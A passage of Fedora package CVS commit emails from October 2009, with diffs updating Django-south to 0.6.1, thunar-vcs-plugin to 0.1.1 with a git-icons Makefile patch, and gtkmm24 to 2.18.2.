+++ Django-south.spec	24 Oct 2009 14:40:11 -0000	1.2
@@ -3,8 +3,8 @@
 %define vcstag rc1
 
 Name:           Django-south
-Version:        0.6
-Release:        2%{?dist}
+Version:        0.6.1
+Release:        1%{?dist}
 Summary:        Intelligent schema migrations for Django apps
 
 Group:          Development/Languages
@@ -13,7 +13,7 @@ URL:            http://south.aeracode.or
 #hg clone -r 371 https://bitbucket.org/andrewgodwin/south/ Django-south-0.6
 #tar zcf Django-south-0.6.tar.gz Django-south-0.6
 #Source:         Django-south-%{version}.tar.gz
-Source:         http://www.aeracode.org/releases/south/south-0.6.tar.gz
+Source:         http://www.aeracode.org/releases/south/south-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -45,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/*
 
 %changelog
+* Sat Oct 24 2009 Diego B?rigo Zacar?o <diegobz at gmail.com> 0.6.1-1
+- Updated to 0.6.1 Release
+
 * Wed Aug 13 2009 Diego B?rigo Zacar?o <diegobz at gmail.com> 0.6-2
 - Updated SPEC to use the upstream tar.gz instead of the VCS checkout
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/F-11/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	14 Aug 2009 16:57:47 -0000	1.1
+++ import.log	24 Oct 2009 14:40:11 -0000	1.2
@@ -1 +1,2 @@
 Django-south-0_6-2_fc11:F-11:Django-south-0.6-2.fc11.src.rpm:1250269009
+Django-south-0_6_1-1_fc11:F-11:Django-south-0.6.1-1.fc11.src.rpm:1256395349


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Aug 2009 16:57:47 -0000	1.2
+++ sources	24 Oct 2009 14:40:11 -0000	1.3
@@ -1 +1 @@
-44ee37aff7dcc571b27591fca8a04f96  south-0.6.tar.gz
+490a0a341b34b4f19c506d2b84d884c4  south-0.6.1.tar.gz



From diegobz at fedoraproject.org  Sat Oct 24 14:42:07 2009
From: diegobz at fedoraproject.org (=?utf-8?q?Diego_B=C3=BArigo_Zacar=C3=A3o?=)
Date: Sat, 24 Oct 2009 14:42:07 +0000 (UTC)
Subject: rpms/Django-south/F-12 .cvsignore, 1.2, 1.3 Django-south.spec, 1.1, 
	1.2 import.log, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091024144207.F005511C00E5@cvs1.fedora.phx.redhat.com>

Author: diegobz

Update of /cvs/pkgs/rpms/Django-south/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23707/F-12

Modified Files:
	.cvsignore Django-south.spec import.log sources 
Log Message:
Updated to 0.6.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Aug 2009 16:43:08 -0000	1.2
+++ .cvsignore	24 Oct 2009 14:42:07 -0000	1.3
@@ -1 +1 @@
-south-0.6.tar.gz
+south-0.6.1.tar.gz


Index: Django-south.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/F-12/Django-south.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Django-south.spec	14 Aug 2009 16:43:08 -0000	1.1
+++ Django-south.spec	24 Oct 2009 14:42:07 -0000	1.2
@@ -3,8 +3,8 @@
 %define vcstag rc1
 
 Name:           Django-south
-Version:        0.6
-Release:        2%{?dist}
+Version:        0.6.1
+Release:        1%{?dist}
 Summary:        Intelligent schema migrations for Django apps
 
 Group:          Development/Languages
@@ -13,7 +13,7 @@ URL:            http://south.aeracode.or
 #hg clone -r 371 https://bitbucket.org/andrewgodwin/south/ Django-south-0.6
 #tar zcf Django-south-0.6.tar.gz Django-south-0.6
 #Source:         Django-south-%{version}.tar.gz
-Source:         http://www.aeracode.org/releases/south/south-0.6.tar.gz
+Source:         http://www.aeracode.org/releases/south/south-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -45,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/*
 
 %changelog
+* Sat Oct 24 2009 Diego B?rigo Zacar?o <diegobz at gmail.com> 0.6.1-1
+- Updated to 0.6.1 Release
+
 * Wed Aug 13 2009 Diego B?rigo Zacar?o <diegobz at gmail.com> 0.6-2
 - Updated SPEC to use the upstream tar.gz instead of the VCS checkout
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	14 Aug 2009 16:43:08 -0000	1.1
+++ import.log	24 Oct 2009 14:42:07 -0000	1.2
@@ -1 +1,2 @@
 Django-south-0_6-2_fc11:HEAD:Django-south-0.6-2.fc11.src.rpm:1250268071
+Django-south-0_6_1-1_fc11:F-12:Django-south-0.6.1-1.fc11.src.rpm:1256395483


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Aug 2009 16:43:08 -0000	1.2
+++ sources	24 Oct 2009 14:42:07 -0000	1.3
@@ -1 +1 @@
-44ee37aff7dcc571b27591fca8a04f96  south-0.6.tar.gz
+490a0a341b34b4f19c506d2b84d884c4  south-0.6.1.tar.gz



From diegobz at fedoraproject.org  Sat Oct 24 14:44:15 2009
From: diegobz at fedoraproject.org (=?utf-8?q?Diego_B=C3=BArigo_Zacar=C3=A3o?=)
Date: Sat, 24 Oct 2009 14:44:15 +0000 (UTC)
Subject: rpms/Django-south/EL-5 .cvsignore, 1.2, 1.3 Django-south.spec, 1.1, 
	1.2 import.log, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091024144415.6FEB311C00E5@cvs1.fedora.phx.redhat.com>

Author: diegobz

Update of /cvs/pkgs/rpms/Django-south/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24770/EL-5

Modified Files:
	.cvsignore Django-south.spec import.log sources 
Log Message:
Updated to 0.6.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Aug 2009 17:05:01 -0000	1.2
+++ .cvsignore	24 Oct 2009 14:44:15 -0000	1.3
@@ -1 +1 @@
-south-0.6.tar.gz
+south-0.6.1.tar.gz


Index: Django-south.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/EL-5/Django-south.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Django-south.spec	14 Aug 2009 17:05:01 -0000	1.1
+++ Django-south.spec	24 Oct 2009 14:44:15 -0000	1.2
@@ -3,8 +3,8 @@
 %define vcstag rc1
 
 Name:           Django-south
-Version:        0.6
-Release:        2%{?dist}
+Version:        0.6.1
+Release:        1%{?dist}
 Summary:        Intelligent schema migrations for Django apps
 
 Group:          Development/Languages
@@ -13,7 +13,7 @@ URL:            http://south.aeracode.or
 #hg clone -r 371 https://bitbucket.org/andrewgodwin/south/ Django-south-0.6
 #tar zcf Django-south-0.6.tar.gz Django-south-0.6
 #Source:         Django-south-%{version}.tar.gz
-Source:         http://www.aeracode.org/releases/south/south-0.6.tar.gz
+Source:         http://www.aeracode.org/releases/south/south-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -45,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/*
 
 %changelog
+* Sat Oct 24 2009 Diego B?rigo Zacar?o <diegobz at gmail.com> 0.6.1-1
+- Updated to 0.6.1 Release
+
 * Wed Aug 13 2009 Diego B?rigo Zacar?o <diegobz at gmail.com> 0.6-2
 - Updated SPEC to use the upstream tar.gz instead of the VCS checkout
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/EL-5/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	14 Aug 2009 17:05:01 -0000	1.1
+++ import.log	24 Oct 2009 14:44:15 -0000	1.2
@@ -1 +1,2 @@
 Django-south-0_6-2_fc11:EL-5:Django-south-0.6-2.fc11.src.rpm:1250269504
+Django-south-0_6_1-1_fc11:EL-5:Django-south-0.6.1-1.fc11.src.rpm:1256395604


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Aug 2009 17:05:01 -0000	1.2
+++ sources	24 Oct 2009 14:44:15 -0000	1.3
@@ -1 +1 @@
-44ee37aff7dcc571b27591fca8a04f96  south-0.6.tar.gz
+490a0a341b34b4f19c506d2b84d884c4  south-0.6.1.tar.gz



From cwickert at fedoraproject.org  Sat Oct 24 15:31:15 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 24 Oct 2009 15:31:15 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/devel
	thunar-vcs-plugin-0.1.1-git-icons.patch, 
	NONE, 1.1 .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 thunar-vcs-plugin.spec, 1.3, 1.4
Message-ID: <20091024153115.B271C11C0297@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2427

Modified Files:
	.cvsignore sources thunar-vcs-plugin.spec 
Added Files:
	thunar-vcs-plugin-0.1.1-git-icons.patch 
Log Message:
* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.1-1
- Update to 0.1.1
- Include git icons


thunar-vcs-plugin-0.1.1-git-icons.patch:
 16x16/Makefile.am |    8 ++++----
 16x16/Makefile.in |   41 ++++++++++++++++++++++-------------------
 24x24/Makefile.am |    2 ++
 24x24/Makefile.in |    1 +
 48x48/Makefile.am |    2 ++
 48x48/Makefile.in |    1 +
 6 files changed, 32 insertions(+), 23 deletions(-)

--- NEW FILE thunar-vcs-plugin-0.1.1-git-icons.patch ---
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.am thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.am
--- thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.am	2009-08-14 23:43:30.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.am	2009-10-24 17:12:49.000000000 +0200
@@ -1,8 +1,8 @@
-
-appsdir = $(datadir)/icons/hicolor/16x16/apps
-apps_DATA =
+iconsdir = $(datadir)/icons/hicolor/48x48/apps
+icons_DATA =								\
+	git.png								
 
 EXTRA_DIST =								\
-	$(apps_DATA)
+	$(icons_DATA)
 
 # vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.in thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.in
--- thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.in	2009-10-23 21:20:36.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.in	2009-10-24 17:19:43.000000000 +0200
@@ -68,8 +68,8 @@
 am__base_list = \
   sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \
   sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g'
-am__installdirs = "$(DESTDIR)$(appsdir)"
-DATA = $(apps_DATA)
+am__installdirs = "$(DESTDIR)$(iconsdir)"
+DATA = $(icons_DATA)
 DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
 ACLOCAL = @ACLOCAL@
 ALL_LINGUAS = @ALL_LINGUAS@
@@ -239,10 +239,13 @@
 top_build_prefix = @top_build_prefix@
 top_builddir = @top_builddir@
 top_srcdir = @top_srcdir@
-appsdir = $(datadir)/icons/hicolor/16x16/apps
-apps_DATA = 
+iconsdir = $(datadir)/icons/hicolor/16x16/apps
+icons_DATA = \
+	git.png								\
+	subversion.png
+
 EXTRA_DIST = \
-	$(apps_DATA)
+	$(icons_DATA)
 
 all: all-am
 
@@ -283,26 +286,26 @@
 
 clean-libtool:
 	-rm -rf .libs _libs
-install-appsDATA: $(apps_DATA)
+install-iconsDATA: $(icons_DATA)
 	@$(NORMAL_INSTALL)
-	test -z "$(appsdir)" || $(MKDIR_P) "$(DESTDIR)$(appsdir)"
-	@list='$(apps_DATA)'; test -n "$(appsdir)" || list=; \
+	test -z "$(iconsdir)" || $(MKDIR_P) "$(DESTDIR)$(iconsdir)"
+	@list='$(icons_DATA)'; test -n "$(iconsdir)" || list=; \
 	for p in $$list; do \
 	  if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
 	  echo "$$d$$p"; \
 	done | $(am__base_list) | \
 	while read files; do \
-	  echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(appsdir)'"; \
-	  $(INSTALL_DATA) $$files "$(DESTDIR)$(appsdir)" || exit $$?; \
+	  echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(iconsdir)'"; \
+	  $(INSTALL_DATA) $$files "$(DESTDIR)$(iconsdir)" || exit $$?; \
 	done
 
-uninstall-appsDATA:
+uninstall-iconsDATA:
 	@$(NORMAL_UNINSTALL)
-	@list='$(apps_DATA)'; test -n "$(appsdir)" || list=; \
+	@list='$(icons_DATA)'; test -n "$(iconsdir)" || list=; \
 	files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \
 	test -n "$$files" || exit 0; \
-	echo " ( cd '$(DESTDIR)$(appsdir)' && rm -f" $$files ")"; \
-	cd "$(DESTDIR)$(appsdir)" && rm -f $$files
+	echo " ( cd '$(DESTDIR)$(iconsdir)' && rm -f" $$files ")"; \
+	cd "$(DESTDIR)$(iconsdir)" && rm -f $$files
 tags: TAGS
 TAGS:
 
@@ -344,7 +347,7 @@
 check: check-am
 all-am: Makefile $(DATA)
 installdirs:
-	for dir in "$(DESTDIR)$(appsdir)"; do \
+	for dir in "$(DESTDIR)$(iconsdir)"; do \
 	  test -z "$$dir" || $(MKDIR_P) "$$dir"; \
 	done
 install: install-am
@@ -392,7 +395,7 @@
 
 info-am:
 
-install-data-am: install-appsDATA
+install-data-am: install-iconsDATA
 
 install-dvi: install-dvi-am
 
@@ -436,21 +439,21 @@
 
 ps-am:
 
-uninstall-am: uninstall-appsDATA
+uninstall-am: uninstall-iconsDATA
 
 .MAKE: install-am install-strip
 
 .PHONY: all all-am check check-am clean clean-generic clean-libtool \
 	distclean distclean-generic distclean-libtool distdir dvi \
 	dvi-am html html-am info info-am install install-am \
-	install-appsDATA install-data install-data-am install-dvi \
+	install-iconsDATA install-data install-data-am install-dvi \
 	install-dvi-am install-exec install-exec-am install-html \
 	install-html-am install-info install-info-am install-man \
 	install-pdf install-pdf-am install-ps install-ps-am \
 	install-strip installcheck installcheck-am installdirs \
 	maintainer-clean maintainer-clean-generic mostlyclean \
 	mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \
-	uninstall uninstall-am uninstall-appsDATA
+	uninstall uninstall-am uninstall-iconsDATA
 
 
 # vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.am thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.am
--- thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.am	2009-08-14 23:43:30.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.am	2009-10-24 17:04:43.000000000 +0200
@@ -1,7 +1,9 @@
 iconsdir = $(datadir)/icons/hicolor/24x24/apps
 icons_DATA =								\
+	git.png								\
 	subversion.png
 
 EXTRA_DIST =								\
 	$(icons_DATA)
 
+# vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.in thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.in
--- thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.in	2009-10-23 21:20:36.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.in	2009-10-24 17:06:34.000000000 +0200
@@ -241,6 +241,7 @@
 top_srcdir = @top_srcdir@
 iconsdir = $(datadir)/icons/hicolor/24x24/apps
 icons_DATA = \
+	git.png								\
 	subversion.png
 
 EXTRA_DIST = \
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.am thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.am
--- thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.am	2009-08-14 23:43:30.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.am	2009-10-24 17:04:43.000000000 +0200
@@ -1,7 +1,9 @@
 iconsdir = $(datadir)/icons/hicolor/48x48/apps
 icons_DATA =								\
+	git.png								\
 	subversion.png
 
 EXTRA_DIST =								\
 	$(icons_DATA)
 
+# vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.in thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.in
--- thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.in	2009-10-23 21:20:36.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.in	2009-10-24 17:05:45.000000000 +0200
@@ -241,6 +241,7 @@
 top_srcdir = @top_srcdir@
 iconsdir = $(datadir)/icons/hicolor/48x48/apps
 icons_DATA = \
+	git.png								\
 	subversion.png
 
 EXTRA_DIST = \


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	19 Oct 2009 16:50:55 -0000	1.2
+++ .cvsignore	24 Oct 2009 15:31:15 -0000	1.3
@@ -1 +1,2 @@
-thunar-vcs-plugin-0.1.0.tar.bz2
+thunar-vcs-plugin-0.1.1.tar.bz2
+git-icons.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	19 Oct 2009 16:50:55 -0000	1.2
+++ sources	24 Oct 2009 15:31:15 -0000	1.3
@@ -1 +1,2 @@
-90d1f2d414c2b4b8bf211a8a6b13b358  thunar-vcs-plugin-0.1.0.tar.bz2
+00b3ea668a11136644aaa588318fb0f4  thunar-vcs-plugin-0.1.1.tar.bz2
+402d74f1e34b6ca3a53d42f71b32079b  git-icons.tar.gz


Index: thunar-vcs-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/devel/thunar-vcs-plugin.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- thunar-vcs-plugin.spec	19 Oct 2009 23:06:21 -0000	1.3
+++ thunar-vcs-plugin.spec	24 Oct 2009 15:31:15 -0000	1.4
@@ -1,14 +1,19 @@
 # Review: https://bugzilla.redhat.com/show_bug.cgi?id=529465
 
 Name:           thunar-vcs-plugin
-Version:        0.1.0
+Version:        0.1.1
 Release:        1%{?dist}
-Summary:        SVN integration for the Thunar filemanager
+Summary:        Version Contol System plugin for the Thunar filemanager
 
 Group:          User Interface/Desktops
 License:        GPLv2+
 URL:            http://goodies.xfce.org/projects/thunar-plugins/%{name}
 Source0:        http://archive.xfce.org/src/thunar-plugins/%{name}/0.1/%{name}-%{version}.tar.bz2
+# Created some icons and sent them upstream
+Source1:        git-icons.tar.gz
+# Upstream changed the Makefile to install the new icons
+# http://git.xfce.org/thunar-plugins/thunar-vcs-plugin/commit/?id=3aa180a79c07d4855f6c779ac951d047dc164b10
+Patch0:         thunar-vcs-plugin-0.1.1-git-icons.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  Thunar-devel >= 0.4.0
@@ -27,21 +32,22 @@ Provides:       thunar-svn-plugin = %{ve
 Obsoletes:      thunar-svn-plugin < 0.0.4-1
 
 %description
-The Thunar VCS Plugin adds Subversion actions to the context menu of Thunar. 
-This gives a SVN integration to Thunar. The current features are:
-* Most of the svn action: add, blame, checkout, cleanup, commit, copy, delete,
-  export, import, lock, log, move, properties, relocate, resolved, revert, 
-  status, switch, unlock and update.
-* Subversion info in file properties dialog.
+The Thunar VCS Plugin adds Subversion and GIT actions to the context menu of 
+Thunar. This gives a VCS integration to Thunar. The current features are:
+* Most of the SVN actions: add, blame, checkout, cleanup, commit, copy, 
+  delete, export, import, lock, log, move, properties, relocate, resolved, 
+  revert, status, switch, unlock and update
+* Subversion info in file properties dialog
+* Basic GIT actions: add, branch, clone, log, reset, status
 
 This project was formerly known as Thunar SVN Plugin.
 
 %prep
-%setup -q
-
+%setup -q -a 1
+%patch0 -p1 -b .git-icons
 
 %build
-%configure --disable-static
+%configure --disable-static --enable-subversion --enable-git
 # remove rpath
 sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
 sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
@@ -80,9 +86,15 @@ gtk-update-icon-cache %{_datadir}/icons/
 %doc AUTHORS COPYING ChangeLog NEWS README
 %{_libdir}/thunarx-1/%{name}.so
 %{_libexecdir}/tvp-svn-helper
+%{_libexecdir}/tvp-git-helper
 %{_datadir}/icons/hicolor/*/apps/subversion.png
+%{_datadir}/icons/hicolor/*/apps/git.png
 
 
 %changelog
+* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.1-1
+- Update to 0.1.1
+- Include git icons
+
 * Wed Sep 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1
 - Initial Fedora package



From denis at fedoraproject.org  Sat Oct 24 15:39:50 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Sat, 24 Oct 2009 15:39:50 +0000 (UTC)
Subject: rpms/gtkmm24/F-12 .cvsignore, 1.36, 1.37 gtkmm.spec, 1.57,
	1.58 sources, 1.38, 1.39
Message-ID: <20091024153950.3CF6A11C00E5@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/gtkmm24/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4385

Modified Files:
	.cvsignore gtkmm.spec sources 
Log Message:
Update to upstream 2.18.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gtkmm24/F-12/.cvsignore,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- .cvsignore	25 Sep 2009 07:40:07 -0000	1.36
+++ .cvsignore	24 Oct 2009 15:39:49 -0000	1.37
@@ -1 +1 @@
-gtkmm-2.18.1.tar.bz2
+gtkmm-2.18.2.tar.bz2


Index: gtkmm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtkmm24/F-12/gtkmm.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- gtkmm.spec	26 Sep 2009 07:35:52 -0000	1.57
+++ gtkmm.spec	24 Oct 2009 15:39:50 -0000	1.58
@@ -1,5 +1,5 @@
 Name:           gtkmm24
-Version:        2.18.1
+Version:        2.18.2
 Release:        1%{?dist}
 
 Summary:        C++ interface for GTK2 (a GUI library for X)
@@ -10,12 +10,12 @@ URL:            http://gtkmm.sourceforge
 Source0:        http://ftp.gnome.org/pub/GNOME/sources/gtkmm/2.18/gtkmm-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  glibmm24-devel >= 2.21.2
-BuildRequires:  atk-devel >= 1.9.0
+BuildRequires:  glibmm24-devel >= 2.22
+BuildRequires:  atk-devel >= 1.12
 BuildRequires:  pango-devel
-BuildRequires:  gtk2-devel >= 2.17.11
+BuildRequires:  gtk2-devel >= 2.18
 BuildRequires:  cairomm-devel >= 1.2.2
-BuildRequires:  pangomm-devel >= 2.25.1.3
+BuildRequires:  pangomm-devel >= 2.26
 
 
 %description
@@ -116,6 +116,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 24 2009 Denis Leroy <denis at poolshark.org> - 2.18.2-1
+- Update to upstream 2.18.2
+
 * Fri Sep 25 2009 Denis Leroy <denis at poolshark.org> - 2.18.1-1
 - Update to upstream 2.18.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gtkmm24/F-12/sources,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- sources	25 Sep 2009 07:40:07 -0000	1.38
+++ sources	24 Oct 2009 15:39:50 -0000	1.39
@@ -1 +1 @@
-7b36f7ea10f183d14b20cad8c1f70daa  gtkmm-2.18.1.tar.bz2
+3e43e9eef1da8988a76a2815d6b31c91  gtkmm-2.18.2.tar.bz2



From cwickert at fedoraproject.org  Sat Oct 24 15:40:44 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 24 Oct 2009 15:40:44 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-10 thunar-vcs-plugin-0.1.1-git-icons.patch,
	NONE, 1.1 .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 thunar-vcs-plugin.spec, 1.3, 1.4
Message-ID: <20091024154044.670FD11C02A6@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4698/F-10

Modified Files:
	.cvsignore sources thunar-vcs-plugin.spec 
Added Files:
	thunar-vcs-plugin-0.1.1-git-icons.patch 
Log Message:
* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.1-1
- Update to 0.1.1
- Include git icons


thunar-vcs-plugin-0.1.1-git-icons.patch:
 16x16/Makefile.am |    8 ++++----
 16x16/Makefile.in |   41 ++++++++++++++++++++++-------------------
 24x24/Makefile.am |    2 ++
 24x24/Makefile.in |    1 +
 48x48/Makefile.am |    2 ++
 48x48/Makefile.in |    1 +
 6 files changed, 32 insertions(+), 23 deletions(-)

--- NEW FILE thunar-vcs-plugin-0.1.1-git-icons.patch ---
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.am thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.am
--- thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.am	2009-08-14 23:43:30.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.am	2009-10-24 17:12:49.000000000 +0200
@@ -1,8 +1,8 @@
-
-appsdir = $(datadir)/icons/hicolor/16x16/apps
-apps_DATA =
+iconsdir = $(datadir)/icons/hicolor/48x48/apps
+icons_DATA =								\
+	git.png								
 
 EXTRA_DIST =								\
-	$(apps_DATA)
+	$(icons_DATA)
 
 # vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.in thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.in
--- thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.in	2009-10-23 21:20:36.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.in	2009-10-24 17:19:43.000000000 +0200
@@ -68,8 +68,8 @@
 am__base_list = \
   sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \
   sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g'
-am__installdirs = "$(DESTDIR)$(appsdir)"
-DATA = $(apps_DATA)
+am__installdirs = "$(DESTDIR)$(iconsdir)"
+DATA = $(icons_DATA)
 DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
 ACLOCAL = @ACLOCAL@
 ALL_LINGUAS = @ALL_LINGUAS@
@@ -239,10 +239,13 @@
 top_build_prefix = @top_build_prefix@
 top_builddir = @top_builddir@
 top_srcdir = @top_srcdir@
-appsdir = $(datadir)/icons/hicolor/16x16/apps
-apps_DATA = 
+iconsdir = $(datadir)/icons/hicolor/16x16/apps
+icons_DATA = \
+	git.png								\
+	subversion.png
+
 EXTRA_DIST = \
-	$(apps_DATA)
+	$(icons_DATA)
 
 all: all-am
 
@@ -283,26 +286,26 @@
 
 clean-libtool:
 	-rm -rf .libs _libs
-install-appsDATA: $(apps_DATA)
+install-iconsDATA: $(icons_DATA)
 	@$(NORMAL_INSTALL)
-	test -z "$(appsdir)" || $(MKDIR_P) "$(DESTDIR)$(appsdir)"
-	@list='$(apps_DATA)'; test -n "$(appsdir)" || list=; \
+	test -z "$(iconsdir)" || $(MKDIR_P) "$(DESTDIR)$(iconsdir)"
+	@list='$(icons_DATA)'; test -n "$(iconsdir)" || list=; \
 	for p in $$list; do \
 	  if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
 	  echo "$$d$$p"; \
 	done | $(am__base_list) | \
 	while read files; do \
-	  echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(appsdir)'"; \
